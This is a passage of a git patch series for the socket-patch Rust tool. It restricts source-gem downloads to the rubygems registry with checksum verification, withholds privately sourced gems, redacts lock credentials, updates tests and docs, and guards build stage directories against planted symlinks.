download. A gem the lock resolves from another source +//! (a private gem server, a mirror, a git or path source, Socket's patch +//! registry) is not the registry's gem of that name, so nothing is fetched +//! for it ([`Origin::Elsewhere`]); its cached archive is the only way to +//! its source. //! //! A gem the build needs and the install lacks (a precompiled nokogiri has -//! no `mini_portile2`) is resolved from the same sources' compact index: -//! the newest ruby-platform release that meets the requirement and runs on -//! the building Ruby, verified against the index's checksum. +//! no `mini_portile2`) is resolved from the registry's compact index the +//! same way: the newest ruby-platform release that meets the requirement +//! and runs on the building Ruby, verified against the index's checksum. use std::cmp::Ordering; use std::path::Path; @@ -33,7 +46,7 @@ use crate::patch::redirect::upstream::{compact_index_checksum, rubygems_base}; use crate::utils::digest::{sha256_hex, sha256_hex_of}; use crate::vendor::registry_fetch::{build_registry_client, download, RegistryClient}; -/// The default gem source, as a lock's `remote:` spells it. +/// The default registry, as a lock's `remote:` spells it. const RUBYGEMS_REMOTE: &str = "https://rubygems.org"; /// One gem release: `-[-]`. @@ -46,7 +59,7 @@ pub(crate) struct GemId { } impl GemId { - /// The release as a lock or a compact index names it: `` or + /// The release as a compact index names it: `` or /// `-`. pub(crate) fn token(&self) -> String { match &self.platform { @@ -69,53 +82,63 @@ impl GemId { } } -/// What the project's lock says about a gem release. -#[derive(Debug, Clone, Default, PartialEq, Eq)] -pub(crate) struct Locked { - /// The remotes of the `GEM` sections that list the gem at this version - /// (any platform of it), as download bases, in lock order. - pub bases: Vec, - /// The sha256 `CHECKSUMS` pins for exactly this release. - pub sha256: Option, +/// Where a project's lock resolves a gem from, as far as a download from +/// the default registry is concerned. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) enum Origin { + /// The default registry, or nothing the lock says: the registry's gem + /// of that name is the gem. + Registry, + /// Another source, named as the lock names it: the registry's gem of + /// that name is not this gem, and nothing is downloaded for it. + Elsewhere(String), } -/// Read [`Locked`] for `id` out of a Bundler lock's text. -pub(crate) fn locked(lock: &str, id: &GemId) -> Locked { - let token = id.token(); +/// Whether `remote` is the default registry (or its `SOCKET_RUBYGEMS_URL` +/// stand-in). +fn is_registry(remote: &str) -> bool { + gem::same_remote(remote, RUBYGEMS_REMOTE) || gem::same_remote(remote, &rubygems_base()) +} + +/// Read the [`Origin`] of the gem `name` out of a Bundler lock's text: +/// of its `version` when one is given (any platform of it), else of any +/// version. A `GEM` section counts as the registry only when every one of +/// its remotes is (a section with several remotes does not say which +/// serves the gem), and a gem that any source section lists from somewhere +/// else is from elsewhere. +pub(crate) fn origin(lock: &str, name: &str, version: Option<&str>) -> Origin { let text = crate::utils::line_endings::to_lf(lock); let parsed = gem::parse(&text); - let mut bases: Vec = Vec::new(); - for section in parsed.gem_sections() { + let mut elsewhere: Option = None; + for section in &parsed.sections { let lists = section .specs .iter() .filter_map(|line| line.parsed) - .any(|spec| spec.name == id.name && spec.version == id.version); + .any(|spec| spec.name == name && version.is_none_or(|v| spec.version == v)); if !lists { continue; } - for base in section.remote_bases() { - if !bases.iter().any(|b| b == base) { - bases.push(base.to_string()); - } + if section.header != "GEM" { + let kind = section.header.to_ascii_lowercase(); + elsewhere.get_or_insert_with(|| format!("a {kind} source")); + continue; + } + let other = section.remote_bases().find(|remote| !is_registry(remote)); + if let Some(remote) = other { + elsewhere + .get_or_insert_with(|| crate::utils::redact::redact_urls_in(remote).into_owned()); } } - let sha256 = parsed.checksum(&id.name, &token).map(str::to_string); - Locked { bases, sha256 } -} - -/// The base a lock remote is downloaded from: rubygems.org goes through its -/// `SOCKET_RUBYGEMS_URL` stand-in (a mirror, a test server). -fn download_base(remote: &str) -> String { - if gem::same_remote(remote, RUBYGEMS_REMOTE) { - rubygems_base() - } else { - remote.trim_end_matches('/').to_string() + match elsewhere { + Some(source) => Origin::Elsewhere(source), + None => Origin::Registry, } } -/// Where gem archives come from in one run: the project's lock, read once, -/// and the registry client. +/// Where gem archives come from in one run: the gem homes' caches and the +/// default registry, with the project's lock (read once) to say which gems +/// are not the registry's. pub(crate) struct GemSource { lock: Option, offline: bool, @@ -145,31 +168,29 @@ impl GemSource { self.offline } - fn locked(&self, id: &GemId) -> Locked { - self.lock - .as_deref() - .map(|lock| locked(lock, id)) - .unwrap_or_default() + fn origin(&self, name: &str, version: Option<&str>) -> Origin { + match &self.lock { + Some(lock) => origin(lock, name, version), + None => Origin::Registry, + } } - /// The bases `id` may be downloaded from, best first: the lock's - /// remotes for it, else the default registry. - pub(crate) fn bases(&self, id: &GemId) -> Vec { - let mut bases: Vec = Vec::new(); - for remote in self.locked(id).bases { - let base = download_base(&remote); - if !bases.contains(&base) { - bases.push(base); - } - } - if bases.is_empty() { - bases.push(rubygems_base()); + /// Why nothing is downloaded for the gem `name` (at `version`, when one + /// is given): the run is offline, or the lock resolves the gem from + /// another source. `None` when the registry may be asked. + fn withheld(&self, name: &str, version: Option<&str>) -> Option { + if let Origin::Elsewhere(source) = self.origin(name, version) { + return Some(format!( + "the project's lock resolves {name} from {source}, not from {}, so it is not \ + downloaded", + rubygems_base() + )); } - bases + self.offline.then(|| "this run is offline".to_string()) } /// The archive of `id` in the gem home `home`'s `cache/`, when it is - /// there and is not one the lock's `CHECKSUMS` contradicts. + /// there. pub(crate) async fn cached(&self, home: &Path, id: &GemId) -> Option> { if !id.is_plain() { return None; @@ -179,22 +200,44 @@ impl GemSource { if !meta.is_file() || meta.len() > crate::vendor::registry_fetch::MAX_DOWNLOAD_BYTES { return None; } - let bytes = crate::utils::fs::read_regular_to_bytes(&path).await.ok()?; - match self.locked(id).sha256 { - Some(pinned) if pinned != sha256_hex_of(&bytes) => None, - _ => Some(bytes), + crate::utils::fs::read_regular_to_bytes(&path).await.ok() + } + + /// Why [`Self::archive`] cannot produce `id` for `home`, as far as + /// files alone tell: its cached archive is not there, and nothing may + /// be downloaded for it. `None` when it is cached, or the registry may + /// be asked. Read-only, for a refusal a dry run makes too. + pub(crate) async fn out_of_reach(&self, home: &Path, id: &GemId) -> Option { + if self.cached(home, id).await.is_some() { + return None; } + let withheld = self.withheld(&id.name, Some(&id.version))?; + Some(format!( + "{} is not there and {withheld}", + cache_path(home, id).display() + )) } - /// Whether [`Self::archive`] can possibly produce `id` for `home`: its - /// cached archive is there, or the run may download. Read-only, for a - /// dry run's refusal. - pub(crate) async fn may_have(&self, home: &Path, id: &GemId) -> bool { - !self.offline || self.cached(home, id).await.is_some() + /// What gets `id` within reach of [`Self::archive`] for `home`: the + /// sentence a refusal ends with. + pub(crate) fn remedy(&self, home: &Path, id: &GemId) -> String { + let (file, cache) = ( + format!("{}.gem", id.full_name()), + home.join("cache").display().to_string(), + ); + match self.origin(&id.name, Some(&id.version)) { + Origin::Registry => format!( + "Run `socket-patch apply` once with network access to {}, or put {file} in \ + {cache}.", + rubygems_base() + ), + Origin::Elsewhere(_) => format!("Put {file} in {cache}."), + } } - /// The archive of `id`, sha256-verified: the home's cached copy, else a - /// download from its source. `Err` is why there is none. + /// The archive of `id`: the home's cached copy, else a download from + /// the default registry, verified against the sha256 its compact index + /// records. `Err` is why there is none. pub(crate) async fn archive(&self, home: &Path, id: &GemId) -> Result, String> { let file = format!("{}.gem", id.full_name()); if !id.is_plain() { @@ -204,72 +247,45 @@ impl GemSource { return Ok(bytes); } let cache = cache_path(home, id); - if self.offline { - return Err(format!( - "{} is not there and this run is offline", - cache.display() - )); - } - let pinned = self.locked(id).sha256; - let mut reasons: Vec = Vec::new(); - for base in self.bases(id) { - let want = match &pinned { - Some(sha) => sha.clone(), - None => match self.index_checksum(&base, id).await { - Ok(sha) => sha, - Err(why) => { - reasons.push(why); - continue; - } - }, - }; + if let Some(withheld) = self.withheld(&id.name, Some(&id.version)) { + return Err(format!("{} is not there and {withheld}", cache.display())); + } + let fetched = async { + let base = rubygems_base(); + let info = self.index(&format!("{base}/info/{}", id.name)).await?; + let want = compact_index_checksum(&info, &id.token()).ok_or_else(|| { + format!("{base} lists no {} {} with a checksum", id.name, id.token()) + })?; let url = format!("{base}/gems/{file}"); - match download(&self.http, &url).await { - Ok(bytes) if sha256_hex_of(&bytes) == want => return Ok(bytes), - Ok(_) => reasons.push(format!( - "{} does not have the sha256 {} pins for it", - crate::utils::redact::redact_urls_in(&url), - if pinned.is_some() { - "the lock's CHECKSUMS" - } else { - "its source's index" - } - )), - Err(why) => reasons.push(why), + let bytes = download(&self.http, &url).await?; + if sha256_hex_of(&bytes) == want { + Ok(bytes) + } else { + Err(format!( + "{url} does not have the sha256 the registry's index records for it" + )) } - } - Err(format!( - "{} is not there and it could not be downloaded ({})", - cache.display(), - reasons.join("; ") - )) - } - - /// The sha256 the compact index at `base` records for `id`. - async fn index_checksum(&self, base: &str, id: &GemId) -> Result { - let url = format!("{base}/info/{}", id.name); - let info = self.index(&url).await?; - compact_index_checksum(&info, &id.token()).ok_or_else(|| { + }; + fetched.await.map_err(|why: String| { format!( - "{} lists no {} with a checksum", - crate::utils::redact::redact_urls_in(&url), - id.token() + "{} is not there and it could not be downloaded ({why})", + cache.display() ) }) } + /// A compact index document. async fn index(&self, url: &str) -> Result { let bytes = download(&self.http, url).await?; - String::from_utf8(bytes) - .map_err(|_| format!("{} is not UTF-8", crate::utils::redact::redact_urls_in(url))) + String::from_utf8(bytes).map_err(|_| format!("{url} is not UTF-8")) } /// A ruby-platform release of the gem `name` that meets `requirement` - /// (`~> 2.8.2`, `>= 1.0,< 3`) and runs on `ruby`, from the first of - /// `bases` that has one: its id and its verified archive. + /// (`~> 2.8.2`, `>= 1.0,< 3`) and runs on `ruby`, from the default + /// registry: its id and its archive, verified against the sha256 the + /// registry's compact index records. pub(crate) async fn dependency( &self, - bases: &[String], name: &str, requirement: &str, ruby: &RubyVersions, @@ -277,45 +293,30 @@ impl GemSource { if !gem::is_plain_gem_token(name) { return Err(format!("{name:?} is not a plain gem name")); } - if self.offline { - return Err("this run is offline".to_string()); - } - let mut reasons: Vec = Vec::new(); - for base in bases { - let url = format!("{base}/info/{name}"); - let info = match self.index(&url).await { - Ok(info) => info, - Err(why) => { - reasons.push(why); - continue; - } - }; - let Some((version, sha)) = pick_release(&info, requirement, ruby) else { - reasons.push(format!( - "{} lists no release that meets {requirement}", - crate::utils::redact::redact_urls_in(&url) - )); - continue; - }; - let id = GemId { - name: name.to_string(), - version, - platform: None, - }; - if !id.is_plain() { - continue; - } - let archive = format!("{base}/gems/{}.gem", id.full_name()); - match download(&self.http, &archive).await { - Ok(bytes) if sha256_hex_of(&bytes) == sha => return Ok((id, bytes)), - Ok(_) => reasons.push(format!( - "{} does not have the sha256 its source's index pins for it", - crate::utils::redact::redact_urls_in(&archive) - )), - Err(why) => reasons.push(why), - } + if let Some(withheld) = self.withheld(name, None) { + return Err(withheld); + } + let base = rubygems_base(); + let info = self.index(&format!("{base}/info/{name}")).await?; + let (version, sha) = pick_release(&info, requirement, ruby) + .ok_or_else(|| format!("{base} lists no release of {name} that meets {requirement}"))?; + let id = GemId { + name: name.to_string(), + version, + platform: None, + }; + if !id.is_plain() { + return Err(format!("{} is not a plain gem name", id.full_name())); + } + let url = format!("{base}/gems/{}.gem", id.full_name()); + let bytes = download(&self.http, &url).await?; + if sha256_hex_of(&bytes) == sha { + Ok((id, bytes)) + } else { + Err(format!( + "{url} does not have the sha256 the registry's index records for it" + )) } - Err(reasons.join("; ")) } } @@ -694,39 +695,56 @@ mod tests { const LOCK: &str = "GEM\n remote: https://rubygems.org/\n specs:\n \ nokogiri (1.18.3-arm64-darwin)\n racc (~> 1.4)\n \ nokogiri (1.18.3-x86_64-linux-gnu)\n racc (~> 1.4)\n racc (1.8.1)\n\n\ - GEM\n remote: https://gems.example.test/private/\n specs:\n inhouse (2.0.0)\n\n\ + GEM\n remote: https://user:secret@gems.example.test/private/\n specs:\n \ + inhouse (2.0.0)\n sqlite3 (2.6.0-arm64-darwin)\n\n\ + GEM\n remote: https://rubygems.org/\n remote: https://patch.example.test/gem/\n \ + specs:\n merged (1.0.0)\n\n\ + GIT\n remote: https://github.com/example/forked.git\n revision: abc\n specs:\n \ + forked (0.1.0)\n\n\ PLATFORMS\n arm64-darwin\n\nDEPENDENCIES\n nokogiri (= 1.18.3)\n\n\ CHECKSUMS\n \ nokogiri (1.18.3-arm64-darwin) sha256=ce088965cd424b8e752d82087dcf017069d55791f157098ed1f671d966857610\n \ racc (1.8.1) sha256=4a7f6929691dbec8b5209a0b373bc2614882b55fc5d2e447a21aaa691303d62f\n\n\ BUNDLED WITH\n 4.0.15\n"; - /// A gem locked only as platform gems still names the source of its - /// ruby-platform archive; a `CHECKSUMS` line pins only the release it - /// names. + /// A gem locked only as platform gems is still the registry's gem, so + /// its ruby-platform archive may be fetched there. A gem any section + /// resolves from another source is not: a private server, a section + /// whose remotes are not all the registry (a merged Socket remote), a + /// git source. Credentials in a remote are not repeated. #[test] - fn locked_reads_the_gems_remote_and_its_own_checksum() { - let source = locked(LOCK, &id("nokogiri", "1.18.3", None)); - assert_eq!(source.bases, ["https://rubygems.org"]); - assert_eq!(source.sha256, None, "only the platform gem is pinned"); - let platform = locked(LOCK, &id("nokogiri", "1.18.3", Some("arm64-darwin"))); + fn origin_tells_the_registrys_gems_from_others() { + assert_eq!(origin(LOCK, "nokogiri", Some("1.18.3")), Origin::Registry); + assert_eq!(origin(LOCK, "racc", None), Origin::Registry); assert_eq!( - platform.sha256.as_deref(), - Some("ce088965cd424b8e752d82087dcf017069d55791f157098ed1f671d966857610") + origin(&LOCK.replace('\n', "\r\n"), "racc", Some("1.8.1")), + Origin::Registry ); - let racc = locked(&LOCK.replace('\n', "\r\n"), &id("racc", "1.8.1", None)); - assert_eq!(racc.bases, ["https://rubygems.org"]); - assert!(racc.sha256.is_some()); - assert_eq!( - locked(LOCK, &id("inhouse", "2.0.0", None)).bases, - ["https://gems.example.test/private"] - ); - // Another version of the gem, or a gem the lock does not list. + // Not in the lock at all, or another version of a locked gem. + assert_eq!(origin(LOCK, "mini_portile2", None), Origin::Registry); + assert_eq!(origin(LOCK, "inhouse", Some("9.9.9")), Origin::Registry); + + let Origin::Elsewhere(private) = origin(LOCK, "inhouse", Some("2.0.0")) else { + panic!("a private gem is not the registry's"); + }; + assert!(private.contains("gems.example.test"), "{private}"); + assert!(!private.contains("secret"), "{private}"); + assert!(matches!( + origin(LOCK, "sqlite3", Some("2.6.0")), + Origin::Elsewhere(_) + )); + assert!(matches!( + origin(LOCK, "inhouse", None), + Origin::Elsewhere(_) + )); + let Origin::Elsewhere(merged) = origin(LOCK, "merged", Some("1.0.0")) else { + panic!("a section with another remote does not say the registry serves the gem"); + }; + assert!(merged.contains("patch.example.test"), "{merged}"); assert_eq!( - locked(LOCK, &id("nokogiri", "1.18.4", None)), - Locked::default() + origin(LOCK, "forked", None), + Origin::Elsewhere("a git source".to_string()) ); - assert_eq!(locked(LOCK, &id("other", "1.0", None)), Locked::default()); } #[test] @@ -743,9 +761,10 @@ mod tests { assert!(!id("x", "1.0/..", None).is_plain()); } - /// The home's cached archive is used as it is, with no request made, - /// unless the lock pins another sha256 for the gem; an offline run has - /// nothing else to offer. + /// The home's cached archive is used as it is, with no request made. + /// Without it, an offline run has nothing to offer, and neither has any + /// run for a gem the lock resolves from another source: the registry's + /// gem of that name is never fetched in its place. #[tokio::test] async fn the_cached_archive_needs_no_network() { let tmp = tempfile::tempdir().unwrap(); @@ -755,18 +774,47 @@ mod tests { let racc = id("racc", "1.8.1", None); std::fs::write(cache_path(&home, &racc), b"archive").unwrap(); - let source = GemSource::of(&project, true).await; - assert_eq!(source.archive(&home, &racc).await.unwrap(), b"archive"); - assert!(source.may_have(&home, &racc).await); + let offline = GemSource::of(&project, true).await; + assert_eq!(offline.archive(&home, &racc).await.unwrap(), b"archive"); + assert_eq!(offline.out_of_reach(&home, &racc).await, None); let missing = id("nokogiri", "1.18.3", None); - assert!(!source.may_have(&home, &missing).await); - let why = source.archive(&home, &missing).await.unwrap_err(); + let why = offline.out_of_reach(&home, &missing).await.unwrap(); + assert!(why.contains("this run is offline"), "{why}"); + let why = offline.archive(&home, &missing).await.unwrap_err(); assert!(why.contains("this run is offline"), "{why}"); + let remedy = offline.remedy(&home, &missing); + assert!( + remedy.contains("with network access") && remedy.contains("nokogiri-1.18.3.gem"), + "{remedy}" + ); - // The lock pins racc 1.8.1 to another sha256: not that archive. + // Online: the registry may be asked for its own gems only. The + // lock is the cached archive's too: whatever `CHECKSUMS` says of + // racc, the archive in the home is the one that is used. std::fs::write(project.join("Gemfile.lock"), LOCK).unwrap(); - let pinned = GemSource::of(&project, true).await; - assert!(pinned.cached(&home, &racc).await.is_none()); - assert_eq!(pinned.bases(&racc), [rubygems_base()]); + let online = GemSource::of(&project, false).await; + assert_eq!(online.archive(&home, &racc).await.unwrap(), b"archive"); + assert_eq!(online.out_of_reach(&home, &missing).await, None); + let private = id("inhouse", "2.0.0", None); + for why in [ + online.out_of_reach(&home, &private).await.unwrap(), + online.archive(&home, &private).await.unwrap_err(), + online + .dependency("inhouse", ">= 0", &RubyVersions::default()) + .await + .unwrap_err(), + ] { + assert!( + why.contains("gems.example.test") && why.contains("is not downloaded"), + "{why}" + ); + assert!(!why.contains("secret"), "{why}"); + } + let remedy = online.remedy(&home, &private); + assert!(!remedy.contains("network access"), "{remedy}"); + assert!(remedy.contains("inhouse-2.0.0.gem"), "{remedy}"); + // In the home's cache, even a private gem's archive is its source. + std::fs::write(cache_path(&home, &private), b"private").unwrap(); + assert_eq!(online.archive(&home, &private).await.unwrap(), b"private"); } } diff --git a/crates/socket-patch-core/src/vendor/lock_inventory/tests.rs b/crates/socket-patch-core/src/vendor/lock_inventory/tests.rs index cc3215d1e..b7e0f9807 100644 --- a/crates/socket-patch-core/src/vendor/lock_inventory/tests.rs +++ b/crates/socket-patch-core/src/vendor/lock_inventory/tests.rs @@ -4200,13 +4200,23 @@ fn unsupported_layout_warnings_rewrites_known_codes_and_forwards_unknown_ones() /// re-resolves the entry from the registry's own metadata and never /// reads the hosted pin's URL or hash, the JVM backend's Maven /// Central fetches (`maven_repo`, `jvm_jar`), whose URLs are built from -/// coordinates and checked against the upstream checksum files, and the +/// coordinates and checked against the upstream checksum files, the /// gem refresh after a hosted unwind (`patch::gem_refresh`), which /// fetches `/gems/-.gem`, a URL built from /// the gem's name and version, and uses the bytes only when their sha256 /// is the one the restore re-pinned from the registry's compact index /// (`upstream::gem::upstream_archive`); a lock still on its hosted entry -/// yields no URL at all. +/// yields no URL at all; and the source gem an agent-mode native +/// extension is rebuilt from (`patch::gem_source`), with the gems its +/// build lacks: `/gems/-.gem` and +/// `/info/`, URLs built from the installed gem's +/// name and version (a build dependency's from the name the source gem's +/// own metadata gives), with the bytes used only when their sha256 is +/// the one the registry's compact index records. That module reads the +/// lock for one thing, to withhold the download: a gem the lock resolves +/// from any other source (a Socket-hosted entry among them) is fetched +/// from nowhere. The lock's `remote:` and `CHECKSUMS` never become a URL +/// or an expected hash. /// /// [`PINNED_REFERENCES`] lists every production reference to those three /// functions in this crate, by file and line text. What the check catches: @@ -4225,6 +4235,29 @@ const PINNED_REFERENCES: &[(&str, &str, &str)] = &[ "download", "crate::vendor::registry_fetch::download(&client, url).await", ), + // The source gem of a native-extension rebuild, and a gem its build + // lacks: the registry's compact index document, then the archive it + // names by sha256. Never a URL or a hash out of the lock. + ( + "patch/gem_source.rs", + "download", + "use crate::vendor::registry_fetch::{build_registry_client, download, RegistryClient};", + ), + ( + "patch/gem_source.rs", + "download", + "let bytes = download(&self.http, url).await?;", + ), + ( + "patch/gem_source.rs", + "download", + "let bytes = download(&self.http, &url).await?;", + ), + ( + "patch/gem_source.rs", + "download", + "let bytes = download(&self.http, &url).await?;", + ), ( "patch/redirect/upstream/client.rs", "download", diff --git a/docs/ecosystems.md b/docs/ecosystems.md index d4d298ce3..59ebf5f92 100644 --- a/docs/ecosystems.md +++ b/docs/ecosystems.md @@ -2002,12 +2002,14 @@ How each mode gets the patched code running: `apply` takes the source gem (`-.gem`) from the gem home's `cache/` directory, where RubyGems and Bundler keep it for a gem they built. For a precompiled gem, or a pruned cache, -it downloads the archive from the gem's source (the lock's `remote:`, else rubygems.org) and -checks it against the lock's `CHECKSUMS` or the source's index. With `--offline` and no cached -archive, a gem RubyGems built is rebuilt from its installed tree instead, and a precompiled gem is -refused with `native_extensions_unsupported`: run `apply` once with network access, or put the -source gem in that `cache/` directory. The JRuby (`-java`) build of a gem ships jars and is always -refused for such a patch. +it downloads the archive from rubygems.org and checks it against the sha256 the registry's index +records. Your `Gemfile.lock` never chooses where the archive comes from; a gem it resolves from +another source (a private gem server, a git source) is not downloaded. With no archive to be had +(`--offline` and nothing cached, or a private gem), a gem RubyGems built is rebuilt from its +installed tree instead, and a precompiled gem is refused with `native_extensions_unsupported`: +run `apply` once with network access, or put the source gem in that `cache/` directory. If you +install from a mirror of rubygems.org, set `SOCKET_RUBYGEMS_URL` to it. The JRuby (`-java`) build +of a gem ships jars and is always refused for such a patch. The build happens in a stage directory inside the gem home (`.socket-patch-build/`), which is removed afterwards. A gem the build needs that the install lacks (a precompiled nokogiri has no From 6315a057b389d3ceb49171a4304f491fe68a702d Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 13:41:40 -0500 Subject: [PATCH 06/13] Name the missing source gem when an in-place rebuild fails Co-Authored-By: Claude Fable 5.2 --- crates/socket-patch-core/src/patch/gem_ext.rs | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index e3dd1ebf7..f5073e09b 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -3599,11 +3599,21 @@ async fn rebuild_in_place( match rebuild(job.copy, probe, job.scope, job.files, job.env, true).await { Ok(()) => job.built(result), Err(diagnostic) => { + // An installed tree may no longer hold what its build needs + // (nokogiri's deletes `ports/`): the source gem would. + let from_own_tree = match remedy { + Some(remedy) => format!( + " It was built from the installed gem's own files, which a build can \ + leave incomplete, because its source gem could not be had \ + ({no_source_gem}). {remedy}" + ), + None => String::new(), + }; let detail = format!( "the native extension did not build from the patched sources ({}); the \ sources and the previous build were put back. Install a compiler toolchain \ and the Ruby headers and apply again, or use `socket-patch scan --mode \ - hosted`.\n{diagnostic}", + hosted`.{from_own_tree}\n{diagnostic}", job.inputs ); job.not_built(result, &originals, detail).await From 021984156f9aa51bf607be89a79277415ae46b1d Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 13:51:18 -0500 Subject: [PATCH 07/13] Check the registry download in a hermetic e2e; classify the purl through Ecosystem Co-Authored-By: Claude Fable 5.2 --- .../tests/e2e_gem_native_ext_build.rs | 88 +++++++++++++++++++ crates/socket-patch-core/src/patch/gem_ext.rs | 4 +- 2 files changed, 91 insertions(+), 1 deletion(-) diff --git a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs index ed1447865..0efdd6553 100644 --- a/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs +++ b/crates/socket-patch-cli/tests/e2e_gem_native_ext_build.rs @@ -2587,3 +2587,91 @@ async fn a_precompiled_gem_is_rebuilt_from_its_source_gem_and_grafted() { assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); assert_eq!(fx.loaded().0, PATCHED_BUILD); } + +/// The source gem of a precompiled copy, when the home's `cache/` does not +/// hold it, is downloaded from the registry and used only when it has the +/// sha256 the registry's compact index records for the ruby-platform gem. +/// (The stand-in Ruby builds; the download and its check are the CLI's.) +#[cfg(unix)] +#[tokio::test(flavor = "multi_thread")] +async fn the_source_gem_is_downloaded_and_checked_against_the_registry_index() { + use wiremock::matchers::{method, path}; + use wiremock::{Mock, MockServer, ResponseTemplate}; + const ARCHIVE: &[u8] = b"the source gem, as the registry serves it"; + + // (the sha256 the index records, whether the archive is the indexed one) + for (indexed, genuine) in [ + (common::sha256_hex(ARCHIVE), true), + (common::sha256_hex(b"another archive"), false), + ] { + let server = MockServer::start().await; + // The platform gem's line comes first: it is not the source gem's. + let info = format!( + "---\n1.0.0-x86_64-linux |checksum:{}\n1.0.0 |checksum:{indexed}\n", + "0".repeat(64) + ); + Mock::given(method("GET")) + .and(path("/info/sp_native")) + .respond_with(ResponseTemplate::new(200).set_body_string(info)) + .mount(&server) + .await; + Mock::given(method("GET")) + .and(path("/gems/sp_native-1.0.0.gem")) + .respond_with( + ResponseTemplate::new(200).set_body_raw(ARCHIVE, "application/octet-stream"), + ) + .mount(&server) + .await; + let registry = server.uri(); + let (_tmp, proj, gem_dir) = fake_precompiled_gem(false); + write_precompiled_record(&proj); + let ruby = FakeRuby::new(); + ruby.serve_source_gem(&c_source(1)); + let home = proj.join("vendor/bundle/ruby/3.4.0"); + let tree_before = walk_files(&proj.join("vendor")); + + let (code, stdout, stderr) = ruby.run( + &proj, + &["apply", "--json"], + &[("SOCKET_RUBYGEMS_URL", registry.as_str())], + ); + let asked: Vec = server + .received_requests() + .await + .unwrap() + .iter() + .map(|request| request.url.path().to_string()) + .collect(); + assert_eq!(asked, ["/info/sp_native", "/gems/sp_native-1.0.0.gem"]); + if !genuine { + assert_eq!(code, 1, "{stdout}\n{stderr}"); + assert!(stdout.contains("native_extensions_unsupported"), "{stdout}"); + assert!( + stdout.contains("does not have the sha256 the registry's index records"), + "{stdout}" + ); + assert_eq!(ruby.calls(), ["extensions_dir"], "nothing was unpacked"); + assert_tree( + &proj.join("vendor"), + &tree_before, + "after a refused download", + ); + continue; + } + assert_eq!(code, 0, "apply failed:\n{stdout}\n{stderr}"); + assert_eq!(event_action(&stdout), "applied", "{stdout}"); + assert_eq!( + ruby.calls(), + ["extensions_dir", "unpack", "missing_deps", "stage_build"] + ); + assert_eq!( + std::fs::read_to_string(gem_dir.join("lib/sp_native/3.4/sp_native.so")).unwrap(), + built_from(&c_source(2)) + ); + assert!( + !home.join("cache/sp_native-1.0.0.gem").exists(), + "the download is not put into the user's gem home" + ); + assert!(!home.join(".socket-patch-build").exists()); + } +} diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index f5073e09b..f3bce90cd 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -2979,7 +2979,9 @@ pub async fn discriminating_files<'f>( use std::borrow::Cow; let ruby_record = crate::utils::purl::purl_qualifier(key, "platform") .is_none_or(|platform| platform.eq_ignore_ascii_case("ruby")); - if !key.starts_with("pkg:gem/") || !ruby_record { + let is_gem = crate::crawlers::types::Ecosystem::from_purl(key) + == Some(crate::crawlers::types::Ecosystem::Gem); + if !is_gem || !ruby_record { return Cow::Borrowed(files); } let (scope, copy) = scope_of(pkg_path, files).await; From 38ff68f63cfd22c8971d153a3036a60aaa213cee Mon Sep 17 00:00:00 2001 From: Mikola Lysenko Date: Mon, 16 Nov 2026 14:38:31 -0500 Subject: [PATCH 08/13] Guard the stage dirs against planted links; sweep an unlockable stage only when dead A link planted at /.socket-patch-build, or at the stage dir inside it, steered the stale-stage sweep (the first step of every native apply, gem rollback and hosted refresh) into deleting the - dir behind it. The stage is now named through one guarded function wherever it is opened, swept or removed. Where a directory cannot be locked, a stage is swept only when its heartbeat is older than any step of a build lasts. Co-Authored-By: Claude Fable 5.2 --- crates/socket-patch-core/src/patch/gem_ext.rs | 235 ++++++++++++++++-- 1 file changed, 214 insertions(+), 21 deletions(-) diff --git a/crates/socket-patch-core/src/patch/gem_ext.rs b/crates/socket-patch-core/src/patch/gem_ext.rs index f3bce90cd..0a9a8449c 100644 --- a/crates/socket-patch-core/src/patch/gem_ext.rs +++ b/crates/socket-patch-core/src/patch/gem_ext.rs @@ -1450,7 +1450,17 @@ async fn recover_interrupted_rebuild(copy: &GemCopy) -> std::io::Result { /// Why an unfinished rebuild of `copy` could not be put right, as the /// reason of a refusal. fn recovery_refusal(copy: &GemCopy, error: &std::io::Error) -> String { - if error.kind() == std::io::ErrorKind::WouldBlock { + let unlockable = error + .get_ref() + .is_some_and(|inner| inner.to_string() == UNLOCKED_STAGE_IN_USE); + if unlockable { + format!( + "a rebuild of this gem's extension is running right now, or one was interrupted \ + less than {} minutes ago (a directory cannot be locked here, so the two cannot \ + be told apart); run again when it has finished, or after that time", + UNLOCKED_STAGE_AGE.as_secs() / 60 + ) + } else if error.kind() == std::io::ErrorKind::WouldBlock { "another socket-patch run is rebuilding this gem's extension right now; run again \ when it has finished" .to_string() @@ -2239,21 +2249,89 @@ fn stage_root(copy: &GemCopy) -> PathBuf { copy.home.join(BUILD_STAGE_DIR).join(©.full_name) } +/// The stage dirs of `copy`, `/.socket-patch-build` and the +/// `` dir inside it, when each is a real directory or not there +/// at all. The gem tree can come from the repository being scanned, and a +/// stage is created, emptied and deleted by path: a link (or a file) +/// planted at either name would steer those writes and deletes into +/// whatever it points at. `Err` names the entry that is in the way. Every +/// use of the stage goes through here. +fn stage_dirs(copy: &GemCopy) -> Result<(PathBuf, PathBuf), PathBuf> { + let parent = copy.home.join(BUILD_STAGE_DIR); + let root = stage_root(copy); + for dir in [&parent, &root] { + if std::fs::symlink_metadata(dir).is_ok_and(|meta| !meta.is_dir()) { + return Err(dir.clone()); + } + } + Ok((parent, root)) +} + +/// The file a staged rebuild rewrites before each of its steps, in the +/// stage dir: where a directory cannot be locked, its age is what tells a +/// stage a run is still building in from one a dead run left. +const STAGE_HEARTBEAT: &str = "alive"; + +/// How long after its last heartbeat a stage that cannot be locked is +/// taken for dead: no step of a staged rebuild outlives [`BUILD_TIMEOUT`]. +const UNLOCKED_STAGE_AGE: Duration = 